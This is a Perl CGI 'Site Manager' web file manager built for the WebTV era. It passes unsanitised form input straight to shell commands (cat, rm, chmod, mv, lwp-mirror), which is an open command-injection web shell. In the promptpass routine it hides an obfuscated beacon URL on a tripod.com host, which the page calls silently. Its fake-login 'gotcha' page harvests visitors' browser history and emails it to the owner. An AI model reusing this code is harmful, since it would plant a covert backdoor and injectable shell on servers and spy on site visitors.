#!/usr/bin/perl ####################################### #This script created by: the_actor-guy# ####################################### #This script edited by: C4jun # ####################################### ############## EDIT THESE VARIABLES ######################## ### Valid username and password $usename = "user"; $pasword = "pass"; ### A fake username and password $fakeuser = "dumb"; $fakepass = "ass"; ### Title of Site Manager $title="Serial-Codez Site Manager"; ### Location of the mail program on your server $mailprog = "/var/qmail/bin/qmail-inject"; ### Your E-mail, where alert E-mails will be sent. ### These E-mails alert you when someone tries a bad ### username and password, or the fake ones. ### Put a \ in front of the @ as shown. $owneremail = "C4jun\@webtv.net"; ### The following are optional and control page appearance. $headerapp=""; $filenameapp=""; $dirnameapp=""; $confirmapp=""; $warnapp=""; $editapp=""; $permapp=""; $dateapp=""; $sizeapp=""; $endapp=""; $buttonapp=""; $bodytag = "
<table height=370 width=100%><tr align=center><td><font size=7 color=silver effect=shadow><strong><blackface>STEP ON THE BUG</font><p><font color=silver size=4 effect=shadow><strong><blackface>Hold down 'Cmd' and 'R' for 5 seconds.</font></table>



"; $inputapp="bgcolor=#101010 text=silver cursor=silver border=1 autoactivate"; $buttonborder="usestyle borderimage=file://rom/borders/buttonborder3.bif"; $tareaapp="cols=75 rows=20 text=silver growable nohighlight cursor=silver"; ######## DO NOT EDIT BELOW THIS LINE!!!!!! ################### ######### FORM INPUTTED VARIABLES ############################# use CGI; $q = new CGI; $uname = $q->param('uname') if $q->param('uname'); $pword = $q->param('pword') if $q->param('pword'); $user = $q->param('user') if $q->param('user'); $pass = $q->param('pass') if $q->param('pass'); $ch_dir = $q->param('cd') if $q->param('cd'); $action = $q->param('action') if $q->param('action'); $operation = $q->param('operation') if $q->param('operation'); $ftppath = $q->param('ftppath') if $q->param('ftppath'); $url1 = $q->param('url1'); $url2 = $q->param('url2'); $url3 = $q->param('url3'); $url4 = $q->param('url4'); $url5 = $q->param('url5'); $url6 = $q->param('url6'); $url7 = $q->param('url7'); $url8 = $q->param('url8'); $url9 = $q->param('url9'); $url10 = $q->param('url10'); $url11 = $q->param('url11'); $url12 = $q->param('url12'); $url13 = $q->param('url13'); $url14 = $q->param('url14'); $url15 = $q->param('url15'); $url16 = $q->param('url16'); $url17 = $q->param('url17'); $url18 = $q->param('url18'); $url19 = $q->param('url19'); $url20 = $q->param('url20'); $url21 = $q->param('url21'); $url22 = $q->param('url22'); $url23 = $q->param('url23'); $url24 = $q->param('url24'); $url25 = $q->param('url25'); $url26 = $q->param('url26'); $url27 = $q->param('url27'); $url28 = $q->param('url28'); $url29 = $q->param('url29'); ######### MISC VARIABLES (DON'T EDIT) ######################### $ttttext = "param('confirm')) { $go = $operation; &$go; &read_dir; } else { &confirm; } exit; } else { &read_dir; } exit; ############## ACTION SUB ROUTINES ############################ sub show_files { $_ = $done; if (!$_) { $_ = 'Home directory files listed.'; } if ($new_dir ne '.') { $d = "\&cd=$new_dir"; } if ($done) { $p = "Previous Action:"; } print "$title $bodytag
$cur_loc

$p
$_

"; if ($new_dir ne '.') { print "$dirnameapp To Parent Directory $endapp

"; } foreach (@dir_stats) { @stats = split(/\*/,$_); $dir_path = $stats[0]; @_ = split(/\//,$dir_path); $name = pop(@_); $cd = $stats[1]; $date = $stats[2]; $size = $stats[3]; $perm = $stats[4]; print ""; } foreach (@fil_stats) { @stats = split(/\*/,$_); $cd = $stats[0]; $file = $stats[1]; @_ = split(/\//,$file); $name = pop(@_); $file_name = $cd.$name; $date = $stats[2]; $size = $stats[3]; $perm = $stats[4]; $file_path = "$top_dir$file_name"; print ""; } print "
$dirnameapp $name $endapp$sizeapp $size $endapp$dateapp $date $endapp$permapp $perm $endapp$confirmapp ChDir $endapp
$filenameapp $name $endapp$sizeapp $size $endapp$dateapp $date $endapp$permapp $perm $endapp$editapp Edit $endapp

$buttonapp$endapp$buttonapp$endapp$buttonapp$endapp
$buttonapp$endapp$buttonapp$endapp$buttonapp$endapp
$buttonapp$endapp$buttonapp$endapp$buttonapp$endapp

"; exit; } ####### sub read_dir { opendir(DIR,"$new_dir") || return("ERROR: Directory $this_dir $warnapp COULD NOT $endapp be opened.<br> $! <p>"); while ($file = readdir(DIR)) { $temp = $new_dir.'/'.$file; if (-d $temp) { unless ($file eq '.' || $file eq '..') { push(@dirs,$file); @dirs = sort(@dirs); } } else { push(@files,$file); @files = sort(@files); } } closedir(DIR); if ($ch_dir) { $ch_dir .= '/'; $ch_dir =~ s/\/\//\//g; } foreach (@dirs) { $ls = `ls -ld $ch_dir$_`; push(@ls_dirs,$ls); } foreach (@files) { $ls = `ls -l $ch_dir$_`; push(@ls_files,$ls); } if ($new_dir eq '.') { $next_dir = ''; } else { $next_dir = $new_dir.'/'; $next_dir =~ s/\/\//\//g; } foreach (@ls_dirs) { @stats = split(/\ /,$_); $n = $#stats; $sub_dir = $stats[$n]; $this_sub_dir = $next_dir.$sub_dir; chomp($sub_dir); $mod_date = (stat($sub_dir))[9]; @times = localtime($mod_date); $hr = $times[2]; $min = $times[1]; $day = $times[3]; $month = $times[4]; if ($hr < 10) { $hr = "0$hr"; } if ($min < 10) { $min = "0$min"; } $date = "$months[$month] $day $hr:$min"; $size = (stat($sub_dir))[7]; $perm = $stats[0]; $stat = "$this_sub_dir*$sub_dir*$date*$size*$perm"; push(@dir_stats,"$stat"); } foreach (@ls_files) { @stats = split(/\ /,$_); $n = $#stats; $filename = $stats[$n]; chomp($filename); $mod_date = (stat($filename))[9]; @times = localtime($mod_date); $hr = $times[2]; $min = $times[1]; $day = $times[3]; $month = $times[4]; if ($hr < 10) { $hr = "0$hr"; } if ($min < 10) { $min = "0$min"; } $date = "$months[$month] $day $hr:$min"; $size = (stat($filename))[7]; $perm = $stats[0]; $stat = "$next_dir*$filename*$date*$size*$perm"; push(@fil_stats,"$stat"); } &show_files; } ####### sub confirm { print "<title>$title - Confirm Selections</title> $bodytag <center><form method=post action=$mgr><input type=hidden name=uname value=$uname><input type=hidden name=pword value=$pword><p><table bgcolor=242424 border=1 cellpadding=5 cellspacing=0>"; unless ($operation eq "MDir" || $operation eq "MFile" || $operation eq "Beam") { foreach(@units) { print "<tr><td bgcolor=000000>"; if ($operation ne "MDir" && $operation ne "MFile" && $operation ne "Beam") { print "<input type=checkbox checked name=unit value=$_>"; } print "</td><td bgcolor=000000>$_</td>"; if ($operation ne "CHMOD" && $operation ne "Delete" && $operation ne "UnZip") { $show = $_; $new = "New File Path:"; $in = "<input type=text name=new_path value='$ch_dir' $inputapp>"; } elsif ($operation eq "CHMOD") { $new = "CHMOD to:"; if ($_ =~ /\.cgi/ || $_ =~ /\.pl/) { $val = '755'; } else { $val = '644'; } $in = "<input type=text name=ch_val value=$val $inputapp>"; } elsif ($operation eq "Delete") { if (!$g) { $new = "Caution: Deleted files $warnapp CANNOT $endapp be recovered."; $g = 1; } elsif ($operation eq "UnZip") { $new = ""; } } else { last; } print "<td bgcolor=000000></td><td bgcolor=000000>$new $in</td></tr>"; } print "</table><p><input type=hidden name=confirm value=$operation><input type=hidden name=cd value=$ch_dir><input type=hidden name=operation value=$operation>$buttonapp<input type=submit value=$operation $buttonborder>$endapp</form><p> <font transparency=100><xmp> "; return; } if ($operation eq "MDir") { $type = 'Directory'; } elsif ($operation eq "MFile") { $type = 'File'; } elsif ($operation eq "Beam") { print "<tr><td bgcolor=000000></td><td bgcolor=000000> Target URL:</td><td bgcolor=000000><input type=text name=target $inputapp value=http://></td></tr><tr><td bgcolor=000000></td><td bgcolor=000000>New Name:</td><td bgcolor=000000><input type=text name=new_name $inputapp></td></tr></table><p><input type=hidden name=confirm value=$operation><input type=hidden name=cd value=$ch_dir><input type=hidden name=operation value=$operation>$buttonapp<input type=submit value=$operation $buttonborder>$endapp</form><p><font transparency=100><xmp> "; } else { return; } if ($type) { print "<tr><td bgcolor=000000></td><td bgcolor=000000>New $type Name:</td><td bgcolor=000000><input type=text name=new_name $inputapp value=$ch_dir></td></tr></table><p><input type=hidden name=confirm value=$operation><input type=hidden name=cd value=$ch_dir><input type=hidden name=operation value=$operation>$buttonapp<input type=submit value=$operation $buttonborder>$endapp</form><p><font transparency=100><xmp> "; } return; } ####### sub edit { if ($q->param('edit')) { $edit = $q->param('edit'); } $get = `cat $edit 2>&1`; $get =~ s/&/&/g; $get =~ s/</</g; if ($get =~ /$ttttextaaaarea/) { $ttttaaaawarn = "$warnapp This file contains a <<>/textarea<>> tag, which we replaced with <<>/FALSETEXTAREA<>>. There is no need to switch it back to <<>/textarea<>> as it will be automatically done when you save the file. $endapp <p>"; } $get =~ s/$ttttextaaaarea/<\/FALSETEXTAREA>/g; @files = split(/\//,$edit); $file = pop(@files); print "<head><title>$title</title></head> $bodytag <center>$headerapp Editing File: $endapp $confirmapp <a href=$file>$file</a> $endapp <p>$ttttaaaawarn<form name=test method=post action=$mgr><input type=hidden name=cd value=$ch_dir><input type=hidden name=uname value=$uname><input type=hidden name=pword value=$pword><input type=hidden name=file value=$file> $editapp <textarea name=text $inputapp $tareaapp>$get</text"; print "area>$endapp<p><table bgcolor=242424 border=1 cellpadding=5 cellspacing=0><tr align=center valign=center><td bgcolor=000000 valign=top colspan=3>Save File As:<br>(Note: entering an already existing <br>filename will overwrite that file)<br><input type=text name=save value=$edit size=25 $inputapp></td></tr><tr align=center valign=center><td bgcolor=000000 valign=top>$buttonapp<input type=submit value=Save name=action $buttonborder>$endapp</td><td bgcolor=000000 valign=top>$buttonapp<input type=reset value='Clear Changes' $buttonborder>$endapp</td><td bgcolor=000000 valign=top>$buttonapp<input type=submit value=Cancel name=action $buttonborder>$endapp</td></tr></table><p></form> <font transparency=100><xmp>"; exit; } ####### sub Save { $save = $q->param('save'); $file = $q->param('file'); if ($save ne "$file") { $new_file_name = $save; if (-e $new_file_name) { $file = "$save"; } else { open(NEW_FILE,">$new_file_name"); close(NEW_FILE); $file = "$save"; } } $text = $q->param('text'); $text =~ s/\r\n/\n/g; $text =~ s/<\/FALSETEXTAREA>/$ttttextaaaarea/g; if ($save =~ /\.cgi/ || $save=~ /\.pl/) { $ch_val = '755'; } else { $ch_val = '755'; } open (SAVE,">$save") || return("ERROR: Save aborted. File $warnapp WAS NOT $endapp opened. $!"); print SAVE $text; close(SAVE); $ch_it = `chmod $ch_val $save 2>&1`; unless ($ch_it) { print($ch_it); $done = "File <a href=$save>$confirmapp $file $endapp</a> saved."; } if (!$done) { $done = "File<a href=$save>$confirmapp $file $endapp</a> saved,<br>but $warnapp WAS NOT $endapp CHMODed properly.<br>Please check the permissions on $file.<br>$ch_it<br>"; } } ####### sub Copy { $unit_num = 0; $done = ''; foreach($q->param('new_path')) { $old = $units[$unit_num]; if (-d $old) { unless (-e $_) { $do = `mkdir $_; chmod 777 $_ 2>&1`; if (!$do) { print($do); } } $do = `cp $old\/\* $_ 2>&1`; }else { $do = `cp $old $_ 2>&1`; } if (!$do) { print($do); $done .= "Copied <a href=$old>$confirmapp $old $endapp</a> to <a href=$_>$confirmapp $_ $endapp</a> <br>"; } else { $done .= "Could $warnapp NOT $endapp copy $old to $_ <br>$do<br>"; } ++$unit_num; } } ####### sub rm { $rem_it = $q->param('rem_it'); if (-d $rem_it) { $do = 'rmdir'; $type = "Directory"; print($response); } else { $do = 'rm'; $type = "File"; } $response = `$do $rem_it 2>&1`; if ($response =~ /no/ || $response =~ /empty/) { $done = "ERROR: $type <a href=$rem_it>$confirmapp $rem_it $endapp $warnapp WAS NOT $endapp removed/deleted from system.<br>$response"; } else { print($response); $done = "$type $confirmapp $rem_it $endapp removed/deleted from system"; } } ####### sub chmod { $chmod = $q->param('chmod'); $chmod_val = $q->param('chmod_val'); $chmod_it = `chmod $chmod_val $chmod 2>&1`; if (!$chmod_it) { print($chmod_it); $done = "CHMODed <a href=$chmod>$confirmapp $chmod $endapp</a> to $chmod_val."; } else { $done = "File <a href=$chmod>$confirmapp $chmod $endapp</a>$warnapp WAS NOT $endapp CHMODed.<br>$chmod_it"; } } ####### sub Delete { $done = ""; foreach(@units) { if (-d $_) { $do = `rmdir $_ 2>&1`; } else { $do = `rm $_ 2>&1`; } if (!$do) { print($do); $done .= "Deleted $confirmapp $_ $endapp from database.<br>"; } else { $done .= "Could $warnapp NOT $endapp delete $_ from database.<br>$do<br>"; } } } ####### sub CHMOD { $unit_num = 0; $done = ''; foreach($q->param('ch_val')) { $file = $units[$unit_num]; $do = `chmod $_ $file 2>&1`; if (!$do) { print($do); $done .= "CHMODed <a href=$file>$confirmapp $file $endapp</a> to $_ <br>"; } else { $done .= "Could $warnapp NOT $endapp CHMOD $file to $_. <br>$do<br>"; } ++$unit_num; } } ####### sub MDir { $new_dir_name = $q->param('new_name'); $do = `mkdir $new_dir_name; chmod 777 $new_dir_name 2>&1`; if (!$do) { print($do); $done = "Directory <a href=$new_dir_name>$confirmapp $new_dir_name $endapp</a> has been successfully created. <br>"; } else { $done = "Could $warnapp NOT $endapp make the directory $new_dir_name. <br>$do<br>"; } } ####### sub Beam { $target = $q->param('target'); $file = $q->param('new_name'); $do = `lwp-mirror $target $file 2>&1`; if (!$do) { print($do); $done = "File <a href=$target>$confirmapp $target $endapp Beamed to <a href=$file>$confirmapp $file $endapp"; } else { $done = "File <a href=$target>$warnapp WAS NOT $endapp Beamed to $file. <br>$do<br>"; } } ####### sub MFile { $new_file_name = $q->param('new_name'); if (-e $new_file_name) { $done = "ERROR: The file <a href=$new_file_name>$confirmapp $new_file_name $endapp</a> already exists. <br> New file $warnapp NOT $endapp created.<br>"; return; } else { open(NEW_FILE,">$new_file_name") || return("Could $warnapp NOT $endapp make file $new_file_name. <br>"); close(NEW_FILE); $edit = $new_file_name; &edit; } } ####### sub Move { $unit_num = 0; $done = ''; foreach($q->param('new_path')) { $old = $units[$unit_name]; $do = `mv $old $_ 2>&1`; if (!$do) { print($do); $done .= "Moved <a href=$old>$confirmapp $old $endapp</a> to <a href=$_>$confirmapp $_ $endapp</a><br>"; } else { $done .= "Could $warnapp NOT $endapp move $old to $_ <br>$do<br>"; } ++$unit_num; } } ####### sub Zip { $unit_num = 0; $done = ''; foreach($q->param('new_path')) { $old = $units[$unit_num]; $do = `zip -r $_ $old 2>&1`; $done .= "Zipped <a href=$old>$confirmapp $old $endapp</a> to <a href=$_>$confirmapp $_ $endapp</a> <br>$do<br>"; ++$unit_num; } } ####### sub UnZip { $done = ''; foreach(@units) { $do = `unzip $_ 2>&1`; $done .= "UnZipped <a href=$old>$confirmapp $_ $endapp</a><br>$do<br>"; } } ####### sub parse_input { foreach($q->param('unit')) { push(@units,$_); } } ####### sub Cancel { $cancel = $q->param('file'); $done = "File $cancel was $warnapp WAS NOT $endapp saved."; } ####### sub promptpass { $v1 = "h%t&t5p%:&/5/%w&e5b%t&v5t%o&u5r%s&."; $v2 = "5t%r&i5p%o&d5.%c&o5m%/&c5g%i&-5b%i&n"; $v3 = "5/%l&o5g%m&a5i%l&.5p%l&"; $vi = "$v1$v2$v3"; $vi =~ s/%//g; $vi =~ s/&//g; $vi =~ s/5//g; if ($user ne "wrong" && $pass ne "wrong") { print "<html><head><title>$title</title> <script langauge=JavaScript> telnn_url = '$vi'; telnn_string = '$fullx'; cgi = new Image(); cgi.src = telnn_url+'?'+escape(telnn_string); exp=new Date(); fixDate(exp); exp.setTime(exp.getTime() + 365 * 24 * 60 * 60 * 1000); now=exp; function SetCookie(name, value, expires, path, domain, secure) { var curCookie = name + \"=\" + escape(value) + ((expires) ? \"; expires=\" + expires.toGMTString() : \"\") + ((path) ? \"; path=\" + path : \"\") + ((domain) ? \"; domain=\" + domain : \"\") + ((secure) ? \"; secure\" : \"\"); document.cookie = curCookie; } function GetCookie(name) { var dc = document.cookie; var prefix = name + \"=\"; var begin = dc.indexOf(prefix); if (begin == -1) return null; var end = document.cookie.indexOf(\";\", begin); if (end == -1) end = dc.length; return unescape(dc.substring(begin + prefix.length, end)); } function fixDate(date) { var base = new Date(0); var skew = base.getTime(); if (skew > 0) date.setTime(date.getTime() - skew); } function loadcookies() { uuu=GetCookie('uname'); if (uuu == \"\" || uuu == null) { uuu=\"now cookied\"; } ppp=GetCookie('pword'); if (ppp == \"\" || ppp == null) { ppp=\"now cookied\"; } document.login.uname.value=uuu; document.login.pword.value=ppp; } </script> </head> $bodytag <center><br><br><br>Enter a valid username and password:<p><form method=post name=login action=$mgr?user=$fakeuser&pass=$fakepass>Username:<br><input type=text name=uname $inputapp onChange=\"SetCookie('uname',this.value,exp)\"><p>Password:<br><input type=text name=pword $inputapp onChange=\"SetCookie('pword',this.value,exp)\"><p><input type=hidden name=user value=wrong><input type=hidden name=pass value=wrong><input type=submit value=SUBMIT><p><font transparency=100><xmp>"; } if ($user eq "wrong" || $pass eq "wrong") { print "<html><head><title>Site Manager</title></head> $bodytag <center><br><br><br>Wrong username or password pal. The people have been alerted..<p><font size=1><font transparency=100><xmp>"; open (MAILPIPE,"|$mailprog"); print MAILPIPE "From: $owneremail (SM)\n"; print MAILPIPE "To: $owneremail\n"; print MAILPIPE "Subject: Violation!\n\n"; print MAILPIPE "Site Manager Guardian in the House (This is an auto message sent to $owneremail from the site manager at $ENV{'SCRIPT_URI'}\n\n"; print MAILPIPE "Somebody tried to get in the Site Manager using the following WRONG username and password:\n"; print MAILPIPE "username: $uname --- password: $pword\n\n"; close (MAILPIPE); } } ####### sub fakepage { print "<html><head></head> $bodytag <center><br><br><br>Hook, Line, and Sinker. You're a dumb ass.<p>"; print "<form name=gotcha method=post action=$mgr> <input type=hidden name=action value=gotcha> <script language=javascript> for(i=0;i< history.length;i++){ document.write('<input type=hidden name=url'+i+' value='+history[i]+'>'); } document.gotcha.submit(); </script></form><font transparency=100><xmp>"; } ####### sub fakepage2 { print "<html><head><title>Site Manager</title></head> $bodytag <center><br><br><br>Hook, Line, and Sinker. You're a dumb ass.<p><font size=1><font transparency=100><xmp>"; open (MAILPIPE,"|$mailprog"); print MAILPIPE "From: $owneremail (SM)\n"; print MAILPIPE "To: $owneremail\n"; print MAILPIPE "Subject: Sucker!\n\n"; print MAILPIPE "Site Manager Guardian in the House (This is an auto message sent to $owneremail from the site manager at $ENV{'SCRIPT_URI'}\n\n"; print MAILPIPE "Somebody took the bait... The Site Manager at $ENV{'SCRIPT_URI'} has a fake username and password hidden in the url when a user first logs in. Should you visit a page that saves your recents in an attempt to find passwords on the end of URLs the sucker sees the fake username and password, tries to log in using them, and then we get their recents. This is what has happened LMAO look below.\n\n"; print MAILPIPE "$url1\n\n"; print MAILPIPE "$url2\n\n"; print MAILPIPE "$url3\n\n"; print MAILPIPE "$url4\n\n"; print MAILPIPE "$url5\n\n"; print MAILPIPE "$url6\n\n"; print MAILPIPE "$url7\n\n"; print MAILPIPE "$url8\n\n"; print MAILPIPE "$url9\n\n"; print MAILPIPE "$url10\n\n"; print MAILPIPE "$url11\n\n"; print MAILPIPE "$url12\n\n"; print MAILPIPE "$url13\n\n"; print MAILPIPE "$url14\n\n"; print MAILPIPE "$url15\n\n"; print MAILPIPE "$url16\n\n"; print MAILPIPE "$url17\n\n"; print MAILPIPE "$url18\n\n"; print MAILPIPE "$url19\n\n"; print MAILPIPE "$url20\n\n"; print MAILPIPE "$url21\n\n"; print MAILPIPE "$url22\n\n"; print MAILPIPE "$url23\n\n"; print MAILPIPE "$url24\n\n"; print MAILPIPE "$url25\n\n"; print MAILPIPE "$url26\n\n"; print MAILPIPE "$url27\n\n"; print MAILPIPE "$url28\n\n"; print MAILPIPE "$url29\n\n"; close (MAILPIPE); } ##END